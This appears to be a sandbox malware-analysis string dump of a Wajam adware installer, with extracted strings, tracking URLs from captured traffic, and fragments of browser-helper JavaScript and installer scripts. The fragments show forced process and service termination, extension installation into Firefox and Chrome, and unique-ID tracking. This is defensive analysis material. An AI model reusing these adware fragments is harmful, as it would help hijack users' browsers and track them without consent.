Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

.?AV?$CAtlServiceModuleT@VCWajamUpdateModule@@$0GE@@ATL@@

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

.?AV?$CComAggObject@VCWajamBHO@@@ATL@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AV?$CComAggObject@VCWajamDownloader@@@ATL@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AV?$CComCoClass@VCWajamBHO@@$1?CLSID_WajamBHO@@3U_GUID@@B@ATL@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AV?$CComCoClass@VCWajamDownloader@@$1?CLSID_WajamDownloader@@3U_GUID@@B@ATL@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AV?$CComContainedObject@VCWajamBHO@@@ATL@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AV?$CComContainedObject@VCWajamDownloader@@@ATL@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AV?$CComObject@VCWajamBHO@@@ATL@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AV?$CComObject@VCWajamDownloader@@@ATL@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AV?$CComObjectCached@VCComClassFactory@ATL@@@ATL@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AV?$CComObjectRootEx@VCComMultiThreadModel@ATL@@@ATL@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AV?$CComObjectRootEx@VCComSingleThreadModel@ATL@@@ATL@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AV?$CWindowImpl@VCWajamBHO@@VCWindow@ATL@@V?$CWinTraits@$0EGAAAAAA@$0CAA@@3@@ATL@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AV?$CWindowImplBaseT@VCWindow@ATL@@V?$CWinTraits@$0EGAAAAAA@$0CAA@@2@@ATL@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AV?$CWindowImplRoot@VCWindow@ATL@@@ATL@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AV?$IDispatchImpl@UIWajamBHO@@$1?IID_IWajamBHO@@3U_GUID@@B$1?LIBID_wajamLib@@3U3@B$00$0A@VCComTypeInfoHolder@ATL@@@ATL@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AV?$IDispEventImpl@$0A@VCWajamBHO@@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B$1?LIBID_SHDocVw@@3U3@B$00$0A@VCComTypeInfoHolder@ATL@@@ATL@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AV?$IDispEventSimpleImpl@$0A@VCWajamBHO@@$1?DIID_DWebBrowserEvents2@@3U_GUID@@B@ATL@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AV?$IObjectSafetyImpl@VCWajamBHO@@$00@ATL@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AV_com_error@@

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

.?AV_IDispEvent@ATL@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AVbad_alloc@std@@

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

.?AVbad_exception@std@@

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

.?AVCAccessAce@CDacl@ATL@@

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.00212000.00000004.mdmp)

.?AVCAccessObjectAce@CDacl@ATL@@

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.00212000.00000004.mdmp)

.?AVCAce@CAcl@ATL@@

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.00212000.00000004.mdmp)

.?AVCAcl@ATL@@

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.00212000.00000004.mdmp)

.?AVCAtlException@ATL@@

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

.?AVCAtlModule@ATL@@

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

.?AVCComClassFactory@ATL@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AVCComObjectRootBase@ATL@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AVCDacl@ATL@@

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.00212000.00000004.mdmp)

.?AVCMessageMap@ATL@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AVCRegObject@ATL@@

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

.?AVCSid@ATL@@

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.00212000.00000004.mdmp)

.?AVCWajamBHO@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AVCWajamDownloader@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AVCwajamModule@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AVCWajamUpdateModule@@

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

.?AVCWindow@ATL@@

Ansi based on Dropped File (priam_bho.dll.1505483275)

.?AVexception@std@@

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

.?AVtype_info@@

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

.@fv$jTH6$Tz|jZH:*tbNRichEditRichEdit20ARichEd32RichEd20.DEFAULT\Control Panel\InternationalControl Panel\Desktop\ResourceLocale[Rename]

Ansi based on Dropped File (nsqE177.tmp)

.@fv$jTH6$Tz|jZH:*tbNtMulDivDeleteFileAFindFirstFileAFindNextFileAFindCloseSetFilePointerReadFileWriteFileGetPrivateProfileStringAWritePrivateProfileStringAuMultiByteToWideCharFreeLibraryGetProcAddressSLoadLibraryExAGetModuleHandleAZGetExitCodeProcessWaitForSingleObjectGlobalAllocGlobalFreeExpandEnvironmentStringsAlstrcmpAlstrcmpiA4CloseHandleSetFileTime9CompareFileTimeSearchPathAGetShortPathNameAiGetFullPathNameAnMoveFileA

Ansi based on Dropped File (nsqE177.tmp)

.\]ho%nY:l:a2T8W)C`)?

Ansi based on Dropped File (nsqE177.tmp)

.^`_7aF X-"N^!W%egnn-.Unzg

Ansi based on Dropped File (nsqE177.tmp)

.^b```b^+Vba``^kYfknqckY\b```W~ccchhhyyyQQQ???ggg555RRRttt^^^YYYaaaIIIaaa>>>)))BBBUUUIIIoooeeePPP%%%GGGzzz%%%GGG(

Ansi based on Dropped File (nsqE177.tmp)

.add(method_name, 'Different server mapping version'); //, updating mapping listpriam.background.events.onEventPriamUpdateMappingList();}else {str += priam.background.trace.add(method_name, 'Same server mapping version, don\'t update');}}else {str += priam.background.trace.add(method_name,'No client-side server mapping version, don\'t update');}str += priam.background.trace.add(method_name,'Saving server mapping version');priam.background.preferences.set('server_current_mapping_version',server_current_mapping_version);}// Flag for user only mappingList versionvar user_current_mapping_version = jsonData.user_current_mapping_version;if (user_current_mapping_version && user_current_mapping_version!=undefined) {str += priam.background.trace.add(method_name,'User current mapping version: '+user_current_mapping_version);var old_user_current_mapping_version = priam.background

Ansi based on Dropped File (priam_bho.dll.1505483275)

.build( url );},getMapping: function() {var url = priam.Config.url.supported_urls_list;return priam.background.url.build( url );},getScript: function(script_path) {var url = script_path;var params = new Array();params['browser'] = priam.Config.getBrowser();params['ver'] = priam.Config.getVersion();return priam.background.url.build( url, params );},getDebug: function() {var url = priam.Config.url.client_debug_info;return priam.background.url.build( url );},getAddedBookmark: function(title,bookmark_url) {var url = priam.Config.url.sync_bookmarks;var params = new Array();params['action'] = 'add';params['title'] = priam.Util.URLEncode(title);params['url'] = priam.Util.URLEncode(bookmark_url);return priam.background.url.build( url, params );},getDeletedBookmark: function(bookmark_url) {var url = priam.Config.url.sync_bookmarks;var params = new Array();pa

Ansi based on Dropped File (priam_bho.dll.1505483275)

.com/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp="

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

.DEFAULT\Control Panel\International

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

.k00SBqrj1+0

Ansi based on Dropped File (nsqE177.tmp)

.Trace.add(method_name,'Error Message: '+e.message);}priam.ext.debug(method_name,str);}};priam.Util.priamAjaxCall = priam.Browser.Util.priamAjaxCall;priam.Browser.Events = {onEventLoad: function(event) {var method_name = 'onEventLoad';var str = ''; priam.Preferences.get('browserLoad', function(response){try {var isBrowserLoad = response.value;str += priam.Trace.add(method_name,'isBrowserLoad: ' + isBrowserLoad);if (typeof(isBrowserLoad) == 'undefined' || isBrowserLoad == 'true'|| isBrowserLoad === null) {priam.Preferences.set('browserLoad','false');// Trigger the BHO update check (ask server only if passed the interval)str += priam.Trace.add(method_name,'Checking for server update');window.priam_bho.updateCheck();str += priam.Trace.add(method_name,'processBrowserLoad');priam.background.browserLoad.processBrowserLoad();}priam.Browser.Events.onEventDOMContentLoaded(event);}catch(e)

Ansi based on Dropped File (priam_bho.dll.1505483275)

.wajam.com/update/InternetExplorer/update_bho.xml

Unicode based on Dropped File (priam_bho.dll.1505483275)

.ysf<U'`>BfVvc~_s|k=O!Rrg^IENDB`PKp@priam_icon_48x48.pngdPNG

Ansi based on Dropped File (nsqE177.tmp)

// <Host>var final_url = priam.background.config.getHost();// <url>final_url += url;// <delimitor> depending on if there was one included in the passed urlfinal_url += (url.indexOf('?')!=-1)?'&':'?';// <Addon version>final_url += 'v='+priam.Config.getBrowser()+priam.Config.getVersion();// [<Unique ID>]// Tries to get the uid in the preferences first then in registryvar unique_id = priam.background.preferences.get('unique_id');if (priam.background.util.isValidUniqueId(unique_id) === false) {unique_id = priam.background.preferences.readUniqueId();if (priam.background.util.isValidUniqueId(unique_id) === true) {priam.background.preferences.set('unique_id', unique_id );}}if (priam.background.util.isValidUniqueId(unique_id) === true) {final_url += '&unique_id='+unique_id;}// [<Affiliate ID>]// 1 - Tries to get the aid in the preferences first then in registryvar affiliate_id = priam.background.pref

Ansi based on Dropped File (priam_bho.dll.1505483275)

// CHECK IF USER WAS LOGGEDvar isLogged = priam.background.preferences.get( 'logged' );if( isLogged === null) isLogged = 'false';if ( isFirstTimeInstallation == 'true' ) {// NEW INSTALLATION FROM SCRATCH OF THE ADDONpriam.background.browserLoad.openFirstRunDownloadPage();str += priam.background.trace.add(method_name,'openFirstRunDownloadPage');// END OF FIRST RUN PROCESSpriam.background.preferences.set( 'firstrun', 'false' );str += priam.background.trace.add(method_name,'firstrun set to false');}else if ( isUpgrade == 'true' ){ // IF VERSION IS DIFFERENT ON BROWSER LOAD ( BROWSER RESTART ON UPDATE OF CLIENT )priam.background.browserLoad.openNewVersionDownloadPage(version);str += priam.background.trace.add(method_name,'openNewVersionDownloadPage, old version: '+version);}if ((isFirstTimeInstallation == 'true') || (isUpgrade == 'true')) {// END OF NEW VERSION PROCESSpriam.backg

Ansi based on Dropped File (priam_bho.dll.1505483275)

// LOGGED ONpriam.background.preferences.set( 'logged', 'true' );str += priam.background.trace.add(method_name,'User logged: TRUE');// AUTO SYNC OFFpriam.background.preferences.set( 'bmAutoSync', bmAutoSync );str += priam.background.trace.add(method_name,'Synching bookmarks: OFF');// ALREADY ALL SYNCEDpriam.background.preferences.set( 'bmAlreadySynced', bmAlreadySynced );if (bmAlreadySynced == '1') {str += priam.background.trace.add(method_name,'User never synched all bookmarks');}else {str += priam.background.trace.add(method_name,'User already synched all bookmarks');}break;case '1':// LOGGED ON priam.background.preferences.set( 'logged', 'true' );str += priam.background.trace.add(method_name,'User logged: TRUE');// AUTO SYNC ONpriam.background.preferences.set(

Ansi based on Dropped File (priam_bho.dll.1505483275)

// Now scan for illegal charactersfor ( var idx = 0; idx < strlen; idx++ ) {if ( validChar.indexOf(entry.charAt(idx)) < 0 ) {isValidHex = false;break;}} // end scan}}catch(e) {isValidHex = false;priam.background.trace.add(method_name,'Error Message: '+e.message);}return isValidHex;},isValidMappingList: function(mappingList) {var method_name = 'isValidMappingList';var valid = false;try {if (mappingList !== null && typeof(mappingList) === 'object') {// Field 'version'if (mappingList.version !== null && mappingList.version !== undefined) {valid = true;}}}catch(e) {priam.background.trace.add(method_name,'Error Message: '+e.message);}return valid;},isValidFlagInfo: function(flagInfo) {var valid = false;try {if (flagInfo !== null && typeof(flagInfo) === 'object') {// Field 'unique_id'if (flagInfo.unique_id !== null

Ansi based on Dropped File (priam_bho.dll.1505483275)

///uS4Z<Z<Z<Z<Z<Z<Z;Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z;Z;Z<Z;Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Y<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<X:\>$"-m^c^))){{{~}}" 4?.Vh=mFzFy<l+Rb.7<;9uS4Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<X:\>gggCCC666MMMhee=86$E@?trptS4Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<Z<X:[=lll{dAG&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&G&F%J',,,fff+++

Ansi based on Dropped File (nsqE177.tmp)

/addon/flags?v=b1.22&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&r=42465

Ansi based on PCAP Processing (PCAP)

/ajax/libs/jquery/1.7/jquery.min.js?1.00434.0

Ansi based on PCAP Processing (PCAP)

/ajax/libs/jqueryui/1.8.16/jquery-ui.js?1.00434.0

Ansi based on PCAP Processing (PCAP)

/C IE_approveExt.exe {A7A6995D-6EE1-4FD1-A258-49395D5BF99C}

Ansi based on Process Commandline (cmd.exe)

/canceltext

Ansi based on Dropped File (inetc.dll.1181384010)

/client_send_debug_info.php?v=i1.92&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&major_version=6&minor_version=1

Ansi based on PCAP Processing (PCAP)

/connecttimeout

Ansi based on Dropped File (inetc.dll.1181384010)

/css/min_fancybox.css?1.00434.0

Ansi based on PCAP Processing (PCAP)

/css/min_general.css?1.00434.0

Ansi based on PCAP Processing (PCAP)

/css/min_signup.css?1.00434.0

Ansi based on PCAP Processing (PCAP)

/css/webfonts/F37F5_0.eot?

Ansi based on PCAP Processing (PCAP)

/css/webfonts/F37F5_1.eot?

Ansi based on PCAP Processing (PCAP)

/css?family=Signika:400,300,600,700

Ansi based on PCAP Processing (PCAP)

/favicon.ico

Ansi based on PCAP Processing (PCAP)

/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,""))){j=eval("("+text+")");return typeof reviver==="function"?walk({"":j},""):j;}throw new SyntaxError("JSON.parse");};}})();if(typeof(console) != "undefined"){console.debug = console.log;}else{console = {debug:function(){}};}priam.Browser.Config = {getBrowser: function() { return 'b'; // f:firefox, c:chrome, b:ie, s:safari},getVersion: function() { return '1.22'; }};priam.Browser.messageManager = {sendRequest: function(name, message, callback){if(priam.background.requestHandler[name] !== undefined){priam.background.requestHandler[name](message, {sendResponse: callback});}else{priam.background.trace.add(methode_name,'Handler "' + name + '" not found');}}};priam.Browser.Util = {getDocument: function(){return document;},isAboutBlank: function(_href) {var isBlank = (_href.indexOf('about:blank') === 0);var isSameLength = (_href.length == 11);return (isBlank && isSameLength)

Ansi based on Dropped File (priam_bho.dll.1505483275)

/gsr2/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBTgXIsxbvr2lBkPpoIEVRE6gHlCnAQUm%2BIHV2ccHsBqBt5ZtJot39wZhi4CDQHjqTAc%2FHIGOD%2BaUx0%3D

Ansi based on PCAP Processing (PCAP)

/GTSGIAG3.crl

Ansi based on PCAP Processing (PCAP)

/GTSGIAG3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBT27bBjYjKBmjX2jXWgnQJKEapsrQQUd8K4UJpndnaxLcKG0IOgfqZ%2BuksCEAz%2B6ADJSnR5hSyii3PbeQE%3D

Ansi based on PCAP Processing (PCAP)

/imgs/app/wajam/mainSprite.png

Ansi based on PCAP Processing (PCAP)

/imgs/fancybox/blank.gif

Ansi based on PCAP Processing (PCAP)

/imgs/feedback.png

Ansi based on PCAP Processing (PCAP)

/imgs/header_bkg.png

Ansi based on PCAP Processing (PCAP)

/imgs/subHeader_bkg.png

Ansi based on PCAP Processing (PCAP)

/index.php?firstrun=1&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&aid2=none&enabled=1&tv=1.92-13&install_timestamp=1560965831&clp=

Ansi based on PCAP Processing (PCAP)

/index.php?v=b1.22&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&firstrun=1&install_timestamp=1560965831&r=22927

Ansi based on PCAP Processing (PCAP)

/installer/finish?aid=3673&aid2=none&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&tv=1.92-13&install_timestamp=1560965831

Ansi based on PCAP Processing (PCAP)

/installer/post_install?aid=3673&aid2=none&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&tv=1.92-13&install_timestamp=1560965831

Ansi based on PCAP Processing (PCAP)

/installer/progress?section=100&aid=&aid2=&unique_id=&tv=1.92-13&install_timestamp=

Ansi based on PCAP Processing (PCAP)

/installer/start?aid=3673&aid2=none&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&tv=1.92-13&install_timestamp=1560965831

Ansi based on PCAP Processing (PCAP)

/js/min_fancybox.js?1.00434.0

Ansi based on PCAP Processing (PCAP)

/js/min_general_en.js?1.00434.0

Ansi based on PCAP Processing (PCAP)

/js/min_signup_page.js?1.00434.0

Ansi based on PCAP Processing (PCAP)

/nocancel

Ansi based on Dropped File (inetc.dll.1181384010)

/nocookies

Ansi based on Dropped File (inetc.dll.1181384010)

/password

Ansi based on Dropped File (inetc.dll.1181384010)

/question

Ansi based on Dropped File (inetc.dll.1181384010)

/receivetimeout

Ansi based on Dropped File (inetc.dll.1181384010)

/supported_urls_list.php?v=b1.22&unique_id=C7C92D87F1EF2BC54BF1F382E5949857&aid=3673&r=76714

Ansi based on PCAP Processing (PCAP)

/translate

Ansi based on Dropped File (inetc.dll.1181384010)

/update/Updater/wajam_update.exe

Ansi based on PCAP Processing (PCAP)

/useragent

Ansi based on Dropped File (inetc.dll.1181384010)

/username

Ansi based on Dropped File (inetc.dll.1181384010)

/web1sb.wajam.com

Unicode based on Dropped File (priam_bho.dll.1505483275)

/widgets.js?1.00434.0

Ansi based on PCAP Processing (PCAP)

/Z./GX(Y!<&P0s[ZY2irV.b"i*<-exfs+d2a<ap.S

Ansi based on Dropped File (nsqE177.tmp)

Ansi based on Decrypted SSL Data (SSL)

0)0`p2t0PP0X.text1 `.rdata0"@@.datad@&@.relocP(@BD$X@D$\@uP

Ansi based on Dropped File (nsqE177.tmp)

0, t .r2)

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.00423000.00000004.mdmp)

0,Lq\$sDaH0gAC&!L~L

Ansi based on Dropped File (nsqE177.tmp)

0-*/,(/-+-2"KZ&rh,qF}.W3N"7%A(H/N-L-M-M:]rVVVddd]]]vvvxxxwwwHHH{{{eee'''XXX|||sss2;<<<<3tD:<<<<<;,[e[[[[Tb{%9jaKd_[[[[Keh\[[[i2m`jbn]luaW.w;Wb1\e[[[Z]W^c[[[bv^a`[[[Xo,,,AAAaaa}}}sss%2

Ansi based on Dropped File (nsqE177.tmp)

00060101.00060101

Unicode based on Runtime Data (IE_approveExt.exe )

008E02FF}

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

010UUS10UUT10USalt Lake City10U

Ansi based on Dropped File (nsqE177.tmp)

0123456789ABCDEF

Ansi based on Dropped File (SimpleSC.dll.523064890)

0@@.data`P

Ansi based on Dropped File (nsqE177.tmp)

0@S5`@0@P7

Ansi based on Dropped File (nsqE177.tmp)

0`%](o2;>>cBKd7}:x!Qz<)$ TZdooo}}}UUUwwwkkkoooiiiyyyxxxssspppddddddmloooonnlk

Ansi based on Dropped File (nsqE177.tmp)

0A3]4A8A0AAj,hdAw3]]]]]]j'Y]EEPY;EPY;EP.Y;OHEA=A=AhL7AGYu;tt8tpA;t!PV5YYAA;tPqYV'@P6YYA;VV'Y@P5AS';SSSSSA;t

Ansi based on Dropped File (nsqE177.tmp)

0A3VPAYD0tWiY3_^]jhHcAg]u1 x;Ar

Ansi based on Dropped File (nsqE177.tmp)

0APL1Ad0AMQTPTQXPXQQPy2[USW}3uU3xVt0hj5YYtI2plV0ENFXEYY~TuEPuVhf@uuP1Au0AV+YtSUY3^_[]UQSV5X1AW5A5A];+GruSGGY;sH;s;rPu5YYuC;r>Pu5YYt/P4T1AAu=T1AVAE3_^[Vjj n4YYVT1AAAujX^&3^jh bApAeuYEEEnAUuYH]U SW3j3Y}]9]u

Ansi based on Dropped File (nsqE177.tmp)

0Au[}tUDHt(f}

Ansi based on Dropped File (nsqE177.tmp)

0AuE}t?DHt}

Ansi based on Dropped File (nsqE177.tmp)

0aX;1JLQ0,X"0W

Ansi based on Dropped File (nsqE177.tmp)

0bN/Q9K4La !H`$X:OGQxciz6#u9

Ansi based on Dropped File (nsqE177.tmp)

0B}^[U\SVWjY3}3}]hE ED PP "u

Ansi based on Dropped File (nsqE177.tmp)

0cT`n`7Hg~kgY@zeSF*`CQ!ghy7yH

Ansi based on Dropped File (nsqE177.tmp)

0D!=QXy6nZQx#ol~C5wQmfu3"Q]dpE"]DX9?v.!iC245%J]giaR1n;.Hd.

Ansi based on Dropped File (nsqE177.tmp)

0EXH1k"SILN{ZQIq>O%0Jk#M&8[yo6@kl=_Vq2/PKGBUMRcontent/browserLoad.jsksH3$B7^.8acpWIZ_4~QOOOgi9vEo6_u^jN77S%eYO<}R4>!Iux7HU++9Fp1~4`|F:gN-"yFdyt_95[}`5Dd"t]2dB~nVfDLs<sO?*M<9R&8\<|

Ansi based on Dropped File (nsqE177.tmp)

0fK0MQ3SQQQPQQ6Q, W( uuBYEYu Wu\ EVhFX EE~t/}t&<

Ansi based on Dropped File (nsqE177.tmp)

0FPDPYYP0>j_u0^[]0@tSP5`@t0@8P0=0@ptHHv=USWV=@@t6uaXu(U%D@=<@u@%<@%<@ug~BPdEPaE[YSQUPSPQP[Z^YX<u44+EMH@

Ansi based on Dropped File (nsqE177.tmp)

0M=}6@s@1`0<0mtlT<

Ansi based on Dropped File (nsqE177.tmp)

0NJuDtUt"X0y-AN

Ansi based on Dropped File (nsqE177.tmp)

0NJuSSf8vEuJ1S=8@9@uSES][uSgtN;MwMSKW2MuO)_P+EGt?Et8FtNtMU9v%MuH@EvSPRE]~uSPE]X[_^[[]USVWt't#aPEPEP3_^[]UQM]UPSVMUE=}&EPEPEPMIEsJ;|C0tELPEPEPMJJ;}G^[]@V1u1

Ansi based on Dropped File (nsqE177.tmp)

0Op2[0rva{h{i[o|dutnfrxr|r]\lrS]v}ybe`vbBIb]K?x{~|i'*>_TBwbmlXe{@Xz-!46.eZmEA:zpiZ?:^mcvx{i{Ss?'sO@GKMOMKFA[hbghhhhhhhhf^qzf1oqZhvwyin~ywL^m+$(wY97Dj}Phy{b~{mBjt>Jkj~preduligJVSyiWNto{zxwaK$ojKBVzj{vnY~vf`H_rkfKgnINP:o\$W]8XOHy^e]1cQ;Thqchjjkkkkkkkkjjfars^xyafx#5MvP.9TjL7HeuH/htqQYt{yXstujfxpoG[T]g[n}P@QHYme4FXrP9X+Y/;BT{RchiWQf}vRt_M=G]qiS<mVGE{&0=bFh',a#[Z1890<8v:;]]OIdk

Ansi based on Dropped File (nsqE177.tmp)

0uirxtXu8BB

Ansi based on Dropped File (nsqE177.tmp)

0V 33@^=0t40VPj@ 50t$FP 00^%( %, %0 h""""N"Z"~"!"","|KCt$t\VarFileInfo\Translation\StringFileInfo\%04X%04X\%sCommentsPrivateBuildSpecialBuildProductNameProductVersionCompanyNameFileVersionFileDescriptionInternalNameLegalCopyrightLegalTrademarksOriginalFilenameUSER.EXE\%d!! !B"( !" h""""N"Z"~"!"","wsprintfAUSER32.dllVerQueryValueAGetFileVersionInfoSizeAGetFileVersionInfoAVERSION.dlllstrlenAGlobalAllocGetSystemDirectoryAlstrcatAGlobalFreelstrcpynAlstrcpyAKERNEL32.dll|Kt#" #X#/"=XJes########$"$2$A$S$c$

Ansi based on Dropped File (nsqE177.tmp)

0V 3jX^=0t90VPj@0 50t$FP< 000^USVW=0 jj@E]ES0Ej@00Sj@FFP.uoF8/ugj=PYYt'Ght0vL uWYF0=L hl0vu!Ehd0vuf0vS6h\0H =D hT06v6vE3PWVhWW@ PEhP0P` EP9}tuuSu_^[jX!"!0!>!P!`!p!~!!!!!!!!""""."H"~""""b" T" "T !"!0!>!P!`!p!~!!!!!!!!""""."H"~""""b"FreeLibraryOpenProcessCloseHandle>GetProcAddressLoadLibraryAuGetVersionExAGlobalFreeTerminateProcessGetExitCodeProcessWaitForSingleObjectSleepDCreateProcessAGlobalAllocGetExitCodeThreadlstrcpyAlstrcpynAJCreateThreadlstrcatAGetEnvironmentVariableAlstrcmpiAKERNEL32.dllbGetWindowThreadProcessIdSendMessageAEnumWindowsWaitForInputIdlewsprintfAUSER32.dllD#"####ExecCmd.dllexecwaitProcess32NextProcess32FirstCreateToolhelp32SnapshotKernel32.DLL%d%u /C ComSpec/TEST/ASYNC/TIMEOUT0000011F111112!252N2X2a2j22222222D3O3V3a3h3|333333333334 4+404n4w444444444445

Ansi based on Dropped File (nsqE177.tmp)

0VK}'\Bx,]:d%T!H

Ansi based on Dropped File (nsqE177.tmp)

0x000C#32770104010061000100410271016DeclineAccept2001user32::LoadImage(i 0, t "\image.bmp", i 0, i 0, i 0, i 0x2000|0x0010) i.s0x0172user32::SetFocus(i)10377000x003010381034103910281256 10351045Software\WajamInstall_Dir\WajamAre you sure you wish to abort installation?Decline: user declined installation.\Wajam\IEInstall Wajam on FirefoxSoftware\Microsoft\Windows\CurrentVersion\App Paths\firefox.exeSoftware\Wow6432Node\Microsoft\Windows\CurrentVersion\App Paths\firefox.exeFirefox found at Firefox not foundFirefox: Looking for profiles directory: APPDATA\Mozilla\Firefox\Profiles#\Mozilla\Firefox\ProfilesFirefox profiles foundfalseCollect addons list on FF:Software\Mozilla\Firefox\Extensions{5a95a9e0-59dd-4314-bd84-4d18ca83a0e2}Firefox Addon was found: .\Firefox{5a95a9e0-59dd-4314-bd84-4d18ca83a0e2}.xpi\Firefox\{5a95a9e0-59dd-4314-bd84-4d18ca83a0e2}.xpiFirefox profiles not foundInstall Wajam on ChromeChrome found at Collect addons list on CH:\Google\Chrome\User Data\Default\Extensions\*..jpmbfleldcgkldadpdinhjjopdfpjfjpinstalled_ch_addon: Chrome Addon was found: .\Wajam\Chrome\Wajam\Chrome\*wajam.crxSoftware\Google\Chrome\Extensions\jpmbfleldcgkldadpdinhjjopdfpjfjpversion1.24\Wajam\Chrome\wajam.crxChrome not found\SimpleSC.dllWajamUpdaterExistsServiceS: A service existsServiceIsRunningS: ServiceIsRunning successS: Service is runningServiceIsStoppedS: Service is not stopped, stopping it.StopServiceGetErrorMessageS: error - Stopping fails - Reason: S: Service is stopping.S: succes - Service is stopped.S: error - Service is not stopped.S: error () - ServiceIsStoppedS: error () - Could not stop the serviceS: Service is already stopped.S: Service is not running.S: error () - ServiceIsRunningBefore removing ()RemoveServiceS: Service has been removed.S: fail () - RemoveService, try other one.\nsExec.dllnet stop WajamUpdaterExecTaskkill /IM WajamUpdater.exe /FS: error - tk.S: success - Existing service has been removedS: error () - Service still existsS: success - No more serviceS: error: A service exist that could not be removedS: error - Was unable to stop the service.S: No service found\Wajam\Updater\WajamUpdater.exeInstallServiceS: success - Service installed.S: 